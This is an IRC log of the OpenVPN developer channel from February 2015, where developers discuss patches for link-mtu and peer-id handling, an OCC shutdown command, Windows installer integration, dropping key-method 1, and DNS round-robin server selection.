last week, the mountains and slopes are very nice! 05:08 <@mattock> cron2: re: meeting tomorrow: if we have topics to discuss I can't see why not 05:31 -!- mattock is now known as mattock_afk 05:51 < lev__> cron2: tested a bit new patch, looks good 05:52 <@cron2> lev__: cool, thanks. syzzer: if you feel your brain is back from pure enjoyment, there's a new MTU patch :-) 05:53 <@cron2> mattock: who had TODOs from last meeting? I wonder if anything has been done yet (= it makes sense to go ahead) or not 05:53 <@cron2> ah. Plaisthos has TODOs (test keychain patch) :-) 05:54 <@cron2> mattock: I think it might make sense to postpone, so d12fk has time to integrate our feedback, plaisthos can test keychain (which has a "ACK-if-tested" from James) 07:25 <@ecrist> ping mattock_afk 07:36 <@ecrist> nm 09:27 < lev__> submitted patch to wireshark to support P_DATA_V2 in openvpn dissector https://code.wireshark.org/review/#/c/7023/ 09:27 <@vpnHelper> Title: Gerrit Code Review (at code.wireshark.org) 11:51 <@cron2> woot :) 12:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 13:57 -!- Netsplit *.net <-> *.split quits: wowaname 14:04 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 14:04 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 18:34 -!- n13l [~n13l@65.184.broadband18.iol.cz] has joined #openvpn-devel 18:36 -!- n13l [~n13l@65.184.broadband18.iol.cz] has quit [Client Quit] 19:29 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 19:30 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 19:31 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 19:32 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 20:11 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 20:12 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 21:31 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Mon Feb 09 2015 00:00 <@vpnHelper> RSS Update - tickets: #514: Ten Ways To Make Money Online And Earn Good Income <https://community.openvpn.net/openvpn/ticket/514> 01:43 -!- mattock_afk is now known as mattock 01:44 <@mattock> cron2: ok, Monday next week then 02:59 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:44 <@cron2> is there a way to improve trac's anti-spamming for new tickets? 05:02 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 245 seconds] 05:04 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 05:04 -!- mode/#openvpn-devel [+o pekster] by ChanServ 05:04 <@mattock> cron2: well, there are some things that could be done, but those would hurt valid users also 05:04 <@mattock> things like forcing the Trac username and email be set 05:04 <@mattock> I believe the recent spam has been written by real humans, because the Pwm registration already blocks most bots 05:05 <@mattock> I can verify that all components of the spam prevention in Trac are working properly, though 05:25 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 06:03 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 06:36 -!- harshar [~harsh@202.3.77.206] has joined #openvpn-devel 06:52 <@cron2> plaisthos: thanks for the ACK. I wasn't so sure about the endianness, so I checked i386 vs. sparc64 :-) (and the functions we use for in_addr_t do htonl() behind your back if you're not careful :)) 07:05 -!- harshar [~harsh@202.3.77.206] has quit [Ping timeout: 255 seconds] 07:56 < lev__> Does it make sense to allow server send OCC_EXIT to the clients? Reason: with peer-id ping timeout can be large and when server, say, reboots, poor client has to wait. 08:21 <@syzzer> lev__: sending OCC_EXIT to a client will kill the client openvpn process 08:22 <@syzzer> whisch is probably not what you're looking for ;) 08:22 <@syzzer> -s 08:26 < lev__> syzzer: at least user will notice that something has happened! I think client should try the next remote in this case. 08:27 <@syzzer> yes, that would make more sense. The reality however is that old clients will simply kill themselves, and never reconnect until a user (or some watchdog) restarts openvpn 08:27 <@syzzer> (old as in, all current 2.x clients, including master) 08:29 < lev__> so something like OCC_NEXT_REMOTE should do 08:30 < lev__> hope client won't kill itself upon receiving unknown OCC 08:40 <@syzzer> I sure hope it won't, especially for servers... 09:16 -!- yeik [~jket@c-98-202-161-149.hsd1.ut.comcast.net] has joined #openvpn-devel 09:22 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 11:10 <@cron2> syzzer: we might want to test that :) 14:54 -!- mattock is now known as mattock_afk 15:55 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 245 seconds] 21:38 -!- Erock23 [~mint@unaffiliated/erock23] has joined #openvpn-devel 21:38 < Erock23> hello? 21:39 < Erock23> having trouble setting up openvpn 21:41 < Erock23> when I select a server from the list provided to me, it says "The file 'USA.California.LosAngeles_LOC1S13.TCP.ovpn' could not be read or does not contain recognized VPN connection information 21:41 < Erock23> Error: unknown PPTP file extension." 21:41 < Erock23> what kind of nube-assed shit do I have going on here, and how the f do I resolve it? 21:51 < Erock23> nevermind....figured it out... 22:34 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 23:12 <@ecrist> Erock23: this is not a support channel. 23:12 -!- mode/#openvpn-devel [+q Erock23!*@*] by ecrist --- Day changed Tue Feb 10 2015 00:28 -!- Erock23 [~mint@unaffiliated/erock23] has left #openvpn-devel [] 01:16 -!- mattock_afk is now known as mattock 02:22 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 245 seconds] 02:25 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 07:58 * ecrist excite. 07:58 <@ecrist> gigabit fiber internet being installed today 08:07 <@mattock> ecrist: 640k ought to be enough for anybody 08:10 <@ecrist> heh 08:11 <@mattock> ecrist: so this gigabit ethernet is for work, not for home? 08:11 <@mattock> sorry 08:11 <@mattock> fiber internet 08:16 <@ecrist> no, it's for home. 08:16 <@ecrist> :D 08:25 <@mattock> oh :D 08:31 * cron2 wants to move to google land (or to zurich where init7 has gig fiber to the home) 08:46 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 252 seconds] 09:07 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 09:39 -!- yeik [~jket@c-98-202-161-149.hsd1.ut.comcast.net] has quit [Quit: Leaving] 09:56 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 246 seconds] 10:30 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 12:43 < ender|> ecrist: what kind of router will you use for that? :) 14:16 <@ecrist> muahahahahahaha 14:16 <@ecrist> gigabit has arrived. 14:16 <@ecrist> with native v6 14:56 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 252 seconds] 15:06 -!- mattock is now known as mattock_afk 15:40 < ender|> ecrist: is it symmetric, are you allowed to run servers, and what kind of router will you use? :) 15:41 < esde> pfsense, surely. :) 15:41 <@cron2> ecrist: way cool 15:47 * ender| "only" has 300/50 at home (1000/100 would cost 142€ instead of 72€), static IPv4 (with custom PTR), allows servers and native IPv6 15:56 <@ecrist> ender|: yes, symmetric 15:56 <@ecrist> static IPs, servers are OK 15:56 < ender|> nice 15:58 * cron2 has 18/2 at home... *sigh* - *but* an IPv4 /27 :-) 15:58 <@cron2> (and of course native IPv6) 15:59 <@ecrist> I have a /28 15:59 < ender|> i actually get a single static IP and several dynamic ones (supposed to be limited to just a single dynamic IP when you have a static one, but i had no problems testing with 3 devices) 16:00 <@ecrist> I'm going to buy a decent PC and put ESXi on it 16:00 < ender|> i'm running pfSense on this: http://www.supermicro.nl/products/motherboard/Atom/X10/A1SRi-2558F.cfm 16:01 <@vpnHelper> Title: Supermicro | Products | Motherboards | Atom Boards | A1SRi-2558F (at www.supermicro.nl) 22:57 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 23:07 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 244 seconds] 23:07 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 23:34 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 252 seconds] 23:54 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel --- Day changed Wed Feb 11 2015 00:05 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 246 seconds] 00:52 -!- mattock_afk is now known as mattock 02:45 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 04:58 <@mattock> ah, finally the openvpn-gui-installer.exe is integrated into the openvpn installer 04:58 <@mattock> there are still plenty of rough corners to file, but it's working at least 05:02 <@cron2> cool :) 07:44 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 255 seconds] 08:08 <@vpnHelper> RSS Update - tickets: #515: CN maximum length is set to 63 characters <https://community.openvpn.net/openvpn/ticket/515> 08:11 * cron2 wonders why we have a ticket about this now, when the patch has already been discussed on the -devel list... 08:14 <@plaisthos> cron2: annoy the developers? 09:04 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 09:57 <@syzzer> makes closing the ticket quite easy ;) 10:46 -!- ayaka [~ayaka@124.72.228.182] has joined #openvpn-devel 10:46 < ayaka> how to build the latest openvpn on windows? 10:47 < ayaka> the document seems out of date 11:50 <@cron2> syzzer: well, the patch on the list got a NAK due to coding style :) 12:14 <@pekster> ayaka: The openvpn-build project (you can check that out from github under the OpenVPN account/user) contains all you should need. Most of the developers (us) use the cross-build on a Unix-like system 12:14 <@pekster> For the Windows installer bits, anyway 12:16 <@pekster> see: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem 12:16 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 12:27 < ayaka> pekster, thank you I will look at it 15:06 -!- mattock is now known as mattock_afk 21:58 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 252 seconds] 22:37 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel --- Day changed Thu Feb 12 2015 00:26 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 245 seconds] 01:01 -!- mattock_afk is now known as mattock 03:23 -!- dazo_afk is now known as dazo 04:10 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 09:56 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 250 seconds] 10:34 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 13:39 -!- harshar [~harsh@202.3.77.215] has quit [Quit: Leaving] 15:43 -!- mattock is now known as mattock_afk 17:43 -!- dazo is now known as dazo_afk 23:31 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] --- Day changed Fri Feb 13 2015 01:01 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 01:16 -!- mattock_afk is now known as mattock 01:38 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 01:42 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:17 -!- mattock is now known as mattock_afk 02:19 -!- mattock_afk is now known as mattock 02:53 <@cron2> plaisthos: have you just stared at the code for the peer-id/link-mtu patch or tested it against known-problematic servers as well? 03:15 <@plaisthos> cron2: I stared long enough against the code and in my own setup it does not complain about mismatched MTU anymore 03:19 <@cron2> sounds good :) - will work on integrating the ACKed patches (and answer your question) tonight 03:19 -!- dazo_afk is now known as dazo 03:20 <@cron2> also, the "do not push peer-id if client is 2.3.6" makes sense, so I'll give that a go as well (the peer-id push code needs tackling anyway, as it currently is incompatible with multipart pushes, needs to move around a bit) 03:20 <@cron2> so, customer duties now... very annoying customer, this one... has very solid half-understanding of things, knows how to program in PHP, but insists on telling me exactly how to do my job (that he doesn't understand at all) 03:32 <@plaisthos> the best customers :) 03:32 <@plaisthos> your default route on your router is wrong! 03:33 <@plaisthos> (for an dfz router ;)) 03:55 <@dazo> plaisthos: nonsense, you need to route it over IPX! That's the error! 03:55 <@dazo> ;-) 03:59 <@plaisthos> :) 04:00 <@plaisthos> IPX is IP version 10, it has to better than v4 and v6 04:00 <@dazo> lol 07:37 -!- ayaka [~ayaka@124.72.228.182] has left #openvpn-devel ["离开"] 07:58 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 09:52 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 10:14 -!- harshar [~harsh@202.3.77.215] has quit [Quit: Leaving] 14:17 -!- dazo is now known as dazo_afk 15:32 -!- mattock is now known as mattock_afk --- Day changed Sat Feb 14 2015 01:18 -!- shivanshu_ [~shivanshu@104.131.8.15] has joined #openvpn-devel 01:28 -!- Netsplit *.net <-> *.split quits: shivanshu 01:28 -!- shivanshu_ is now known as shivanshu 02:12 -!- mattock_afk is now known as mattock 03:16 -!- shivanshu [~shivanshu@104.131.8.15] has quit [Changing host] 03:16 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 12:40 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 13:15 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 20:51 -!- mattock is now known as mattock_afk 22:13 <+krzee> cloudfare seems to have an issue in asia, openvpn.net doesnt work from the philippines via hongkong cloudfare host 22:13 <+krzee> but it works fine over my tunnel to usa 22:13 <+krzee> ill try it again in a couple min... 22:55 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 22:56 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 22:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:40 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 23:41 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Feb 15 2015 00:56 -!- Tander1gi [Tander1gi@gateway/vpn/mullvad/x-uklvbdqyqcxdiotu] has joined #openvpn-devel 01:09 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 03:22 -!- EvilJStoker_ [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 03:31 -!- Netsplit *.net <-> *.split quits: EvilJStoker 03:31 -!- EvilJStoker_ is now known as EvilJStoker 04:36 -!- Tander1gi [Tander1gi@gateway/vpn/mullvad/x-uklvbdqyqcxdiotu] has left #openvpn-devel ["Leaving"] 04:37 -!- Tander1gi [Tander1gi@gateway/vpn/mullvad/x-uklvbdqyqcxdiotu] has joined #openvpn-devel 08:54 -!- mattock_afk is now known as mattock 08:59 <@plaisthos> syzzer: do we still support 0.9.8? 09:19 <@syzzer> plaisthos: yes, because RHEL still ships with that 10:37 <@cron2> plaisthos: you're too fast for me... I intended to ACK that, but family got in the way 10:40 <@syzzer> :') 10:56 <@syzzer> oh, I didn't mention this on the list, but I think the disable SSL compression patch should go into 2.3 too, since it fixes the issue reported in #502. 12:01 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:01 -!- mode/#openvpn-devel [+o andj] by ChanServ 12:09 * cron2 guessed that :) 13:45 <@cron2> phew... my link-mtu patch works great on git master, but makes it assert() on a buf_safe() check in socket.c in 2.3... 13:57 <@cron2> the buf in question on git master is 2372 bytes big, on 2.3 it's 1596... wtf... 13:59 <@cron2> Sun Feb 15 20:55:33 2015 us=665834 Data Channel MTU parms [ L:1541 D:1450 EF:41 EB:392 ET:0 EL:3 ] 13:59 <@cron2> Sun Feb 15 20:50:33 2015 us=923091 Data Channel MTU parms [ L:1541 D:1450 EF:41 EB:4 ET:0 EL:3 ] 13:59 <@cron2> *scratch head* 13:59 <@syzzer> wtf indeed :/ 14:01 <@cron2> "EB" is "frame->extra_buffer", and something in git master stuffs heaps of stuff in there... smells like the new compression stuff 14:02 <@cron2> comp.c: frame_add_to_extra_buffer (frame, COMP_EXTRA_BUFFER (EXPANDED_SIZE(frame))); 14:02 <@cron2> ... indeed 14:02 <@cron2> oh, and 2.3 only does this if compression is active in the config, while git master seems to always do it 14:03 <@cron2> Sun Feb 15 21:02:55 2015 us=941698 Data Channel MTU parms [ L:1542 D:1450 EF:42 EB:135 ET:0 EL:3 AF:3/1 ] 14:03 <@cron2> yeah, here we go... 14:21 -!- mattock is now known as mattock_afk 14:23 <@cron2> syzzer: if you feel bored... with the latest code, both 2.3 and git master, when using peer-id and talking to Lev's server, as soon as I send a big packet (full mtu), I get *once* the message 14:24 <@cron2> Sun Feb 15 21:23:05 2015 us=418482 PID_ERR replay-window backtrack occurred [1] [SSL-0] [0_34] 0:4 0:3 t=1424031785[0] r=[-4,64,15,1,1] sl=[60,4,64,272] 14:24 <@cron2> but it pings fine anyway 14:24 <@cron2> any idea? 14:24 <@syzzer> interesting... 14:24 <@syzzer> that means some packet arrived out-of-order iirc 14:25 <@syzzer> 'backtrack' is when the packet ids don't increment nicely 14:26 <@cron2> well, "or not", right now the "git master" box doesn't do it... but I'm sure I've seen it there as well... wtf... 14:28 <@cron2> it does not happen always (now looking more closely), and it might be related to the external packet getting fragmented ("ping -s 1500" will actually create "larger than 1500" ping packet) 14:29 * cron2 finds this mildly interesting but has no brains to track it right now 14:30 <@syzzer> yes, I suspect something with fragmentation to cause this. Somehow the fragments might be treated differently 14:35 <@vpnHelper> RSS Update - gitrepo: New approach to handle peer-id related changes to link-mtu. <https://github.com/OpenVPN/openvpn/commit/9e0963c11aa439deb382d7d6bc40b6ade999401c> || Disable SSL compression <https://github.com/OpenVPN/openvpn/commit/5d5233778868ddd568140c394adfcfc8e3453245> 14:40 <@cron2> syzzer, plaisthos: if one of you feels brave, I'd love to see an ACK on "[PATCH v2 for 2.3] New approach to handle peer-id related changes to link-mtu." 14:40 <@cron2> it is based on the plaisthos-ACKed patch for git master, but since the buffer handling is slighly different, it is different code - so I didn't want to "just sneak it in" 15:07 <@syzzer> cron2: won't be today, but maybe later this week (unless plaisthos beats me to it ;) ) 16:05 <@vpnHelper> RSS Update - gitrepo: Print remote IPv4 address on a dual-stack v6 socket in IPv4 format <https://github.com/OpenVPN/openvpn/commit/0b1a68fffa33e175c320c2828604cdc7dfb097e7> --- Day changed Mon Feb 16 2015 01:46 -!- mattock_afk is now known as mattock 02:18 <@cron2> something must be broken with our buildbots 02:19 * cron2 has not seen a build failure in *weeks* and the /builders page is all *green*...! 03:14 <@plaisthos> that happens often if you switch from gprs to umts or vice versa 03:15 <@plaisthos> the packets that need to be rerouted because are stuck in old queue often came late 03:19 <@cron2> my stationary machine did not switch anywhere :) 04:25 -!- dazo_afk is now known as dazo 04:59 <@dazo> !patch 05:00 <@dazo> !learn patch as "But it turns out that patches are a lot like junk mail and puppies. They are greatly valued by those who produce them, but often viewed with great suspicion by the maintainers receiving them" - Paul E. McKenney / https://paulmck.livejournal.com/38591.html 05:00 <@vpnHelper> Joo got it. 05:00 <@cron2> dazo: I understand what you are trying to tell me :-) - just thought about your stuff this morning, and it definitely wants review! 05:00 <@dazo> oh, I had almost forgotten about them :) 05:01 <@dazo> However, that blog is actually a good read for more than us ;-) 05:02 <@dazo> cron2: but I'll be grateful once the rework of username/password integration has been reviewed :) 05:03 * cron2 was fighting with link-mtu, tun-mtu, and side effects of peer-id :) - but that dust is settling down, I think... 05:03 <@dazo> and those things have been far more important, I have to admit ;-) 06:54 -!- mattock is now known as mattock_afk 06:55 -!- mattock_afk is now known as mattock 06:55 <@mattock> guys: meeting today? 07:13 <@cron2> I don't think it would be overly useful. Keychain is ready to be merged if documentation shows up, link-mtu/occ got fixed in master, iservice needs d12fk to update the openvpn part of his tree to use tuntap 07:13 <@cron2> iow: all my "hot topics" are ongoing. If someone else has topics, I'll be here 07:14 <@cron2> well, I have one :) but that might be easier discussed outside a meeting - 2.3.7 release. What is missing, when do we want to do it? 07:21 <@mattock> when do we get interactive service into "master"? 07:21 <@mattock> still waiting for some modifications from d12fk? 07:26 <@dazo> I'd like cron2 to get time to review my patches most of all :-P 07:31 <@mattock> wink wink :D 08:03 <@cron2> mattock: waiting for d12fk to do the modifications to the openvpn code we agreed... uh... 6 weeks ago 08:04 <@mattock> yeah, it's been a while 11:25 -!- Netsplit *.net <-> *.split quits: @vpnHelper, esde, @raidz 11:31 -!- Netsplit over, joins: @raidz, esde, @vpnHelper 15:17 -!- mattock is now known as mattock_afk 18:12 -!- dazo is now known as dazo_afk 19:53 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 19:54 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Tue Feb 17 2015 00:30 -!- mattock_afk is now known as mattock 02:08 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:15 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel 03:00 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 245 seconds] 03:03 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:20 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 03:21 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:45 -!- Hes [lUtAwRTu@tunkki.fi] has joined #openvpn-devel 04:50 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 252 seconds] 05:34 -!- dazo_afk is now known as dazo 10:42 <@mattock> ah, I so love writing NSI scripts :D 10:43 <@mattock> somebody has said it's almost like writing in assembler 10:43 <@mattock> well, there are registers and all, so it's not too far off 10:43 <@mattock> anyways, I've almost managed to tie in all the loose ends with integrating openvpn-gui-installer.exe with openvpn-build / openvpn.nsi 10:44 <@mattock> I'll push out the patches tomorrow (changes openvpn-gui and openvpn-build) 11:04 <@ecrist> is that an update to 2.3.6 or is that for 2.3.7? 11:37 <@mattock> ecrist: 2.4 at least, probably also 2.3.x 11:37 <@mattock> some additional testing in real environments would be good to have before the changes are pushed to 2.3.x -based installers 11:38 <@mattock> so I'll probably make the changes a separate branch in openvpn-build for now 11:55 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 11:55 -!- mode/#openvpn-devel [+o andj] by ChanServ 12:36 <@ecrist> seems reasonable, mattock. Thanks for the info 12:36 <@mattock> np 15:15 -!- mattock is now known as mattock_afk 18:04 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 246 seconds] 18:46 -!- dazo is now known as dazo_afk --- Day changed Wed Feb 18 2015 01:34 -!- mattock_afk is now known as mattock 03:38 <@mattock> openvpn-gui-installer integration: https://community.openvpn.net/openvpn/ticket/252#comment:15 03:38 <@vpnHelper> Title: #252 (OpenVPN-GUI (64-bit) fails after installation) – OpenVPN Community (at community.openvpn.net) 07:35 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 07:35 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 07:35 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 08:42 <@vpnHelper> RSS Update - tickets: #516: ipconfig failing to execute during VPN connection <https://community.openvpn.net/openvpn/ticket/516> 16:35 -!- mattock is now known as mattock_afk --- Day changed Thu Feb 19 2015 01:21 -!- mattock_afk is now known as mattock 04:41 -!- dazo_afk is now known as dazo 05:52 -!- mattock is now known as mattock_afk 06:13 < lev__> hey, I think statement "If host is a DNS name which resolves to multiple IP addresses, one will be randomly chosen, providing a sort of basic load-balancing and failover capability." from man is not correct since 2010. Commit https://github.com/OpenVPN/openvpn/commit/f9b2ada0eece06158cc3ce6f6348bd431dfd7f0a removed randomization and made openvpn use first address returned by gethostbyname 06:13 <@vpnHelper> Title: Implemented multi-address DNS expansion on the network field of route · f9b2ada · OpenVPN/openvpn · GitHub (at github.com) 06:14 < lev__> That code has been rewritten, but I see no randomization in current version 06:16 < lev__> There is even comment "Do not choose an IP Addresse by random or change the order of IP addresses, doing so will break RFC 3484 address selection" 06:25 -!- mattock_afk is now known as mattock 10:00 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 250 seconds] 10:03 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:03 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:09 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 265 seconds] 10:10 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:10 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:24 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds] 10:27 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:27 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 10:56 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 250 seconds] 11:00 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 11:00 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:33 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 11:39 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 14:22 -!- mattock is now known as mattock_afk 14:40 <@dazo> lev__: I think it's fairly correct ... as that change will actually do the round-robin the DNS server provides ... the former behaviour did a random selection on a round-robin DNS query result ... which could end up giving the same server several times in a row 14:41 <@dazo> so that patch from James fixes the behaviour to be more predictable 14:41 * dazo remember we spent hours discussing a feature-removal-process with James 14:42 <@dazo> I even submitted a patch through using the FRP patch, and things moved slowly forward ... then James applied this patch, ignoring the FRP completely :-P 14:45 <@dazo> (the end result was the same ... but we had some ugly conflicts ... it was the time we used SVN and git in parallel) 15:43 <@dazo> ecrist: krzee: cron2: Ouch ... https://lwn.net/Articles/633805/ 15:43 <@vpnHelper> Title: FreeBSD random number generator broken for last 4 months [LWN.net] (at lwn.net) 15:48 <@syzzer> dazo: only in -current fortunately 15:48 <@syzzer> but still painful :) 15:48 <@dazo> yeah 15:48 <@dazo> noticed a few seconds later :) 15:49 <@syzzer> talking about feature removal btw, any strong feeling on ripping 'key method 1' out of -master? 15:49 <@syzzer> (just poking here at first, before I start writing lengthy mails for the ml) 15:50 <@dazo> nope, not really ... it should only be mostly relevant for openvpn 1.x to openvpn 2.x compatibility ... which is a far stretch these days, I'd say .... esp. after our last CVE :) 15:51 <@dazo> We should probably just issue M_FATAL if key-method 1 is attempted 15:52 <@syzzer> well, if it is set in the config file, not if a peer tries to do key method 1 :p 15:52 * syzzer remembers the overzealous assert all too well 15:53 <@dazo> hehehe .... true :) I meant the M_FATAL in the options check ;-) 16:01 -!- dazo is now known as dazo_afk 16:24 <@cron2> lev__: there's an open bug to fix the documentation, I just never came around to actually doing so 16:24 <@cron2> dazo: and the DNS round-robin thing was killed for good by plaisthos' dual-stack rewrite anyway :) 17:05 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 252 seconds] 17:05 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 17:05 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 18:01 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 18:03 <+krzee> dazo_afk, ya i saw that, if youd like to test machines you use the app named dieharder will do that for you 18:03 <+krzee> if you werent using freebsd-current you were fine 18:04 <+krzee> -current should NOT be used for mkaking certs of any kind, its bleeding edge stuff 19:27 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 250 seconds] 19:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 19:31 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 19:53 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 250 seconds] 19:56 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 19:56 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 20:42 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel --- Day changed Fri Feb 20 2015 00:36 -!- mattock_afk is now known as mattock 01:28 < lev__> I made server send a new OCC command when it shuts down. When client receives it, it disconnects and connects to the next remote, which in my case means next IP for the same hostname. 01:30 < lev__> I want to avoid situation when all clients from one server switch to another same server. I am thinking what is the right way to do randomization. 01:41 < lev__> Another issue is that if DNS gai() returns ipv6 address among ipv4's, ipv4 servers happen to be down then OpenVPN tries ipv6. If machine does not have ipv6, OpenVPN still waits 60 secs before giving up. 02:14 <@cron2> if the client does not have v6, it should fail more quickly (especially gai() should return the v6 addresses last, not first) 02:19 < lev__> cron2: yep gai() returns IPv6 addresses last, but OpenVPN says "write UDP: Network is unreachable" and after a minute "TLS key reneg failed", Ubuntu 14.04 inside VirtualBox 02:20 <@cron2> lev__: talk to plaisthos :-) - as far as I know, he's working on improving the connect loop timeout handling, so that could be covered right away (certain hard errors from sendmsg() making it jump to the next entry right away, for example) 02:25 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 250 seconds] 02:28 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 02:28 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 02:42 < lev__> plaisthos: ping 03:43 <+krzee> lev__, in the past i tested this, i found that you cannot rely on RR dns in all instances 03:44 <+krzee> and that best thing to do is add like 20 --remote entries 03:44 <+krzee> then set dns to be = until you expand 03:44 <+krzee> RR dns relies on the underlying systems resolver, not all are as random as youd hope for 03:45 <+krzee> specifically, sometimes they stick with the first entry they try, and never continue to try new ones 04:26 < lev__> 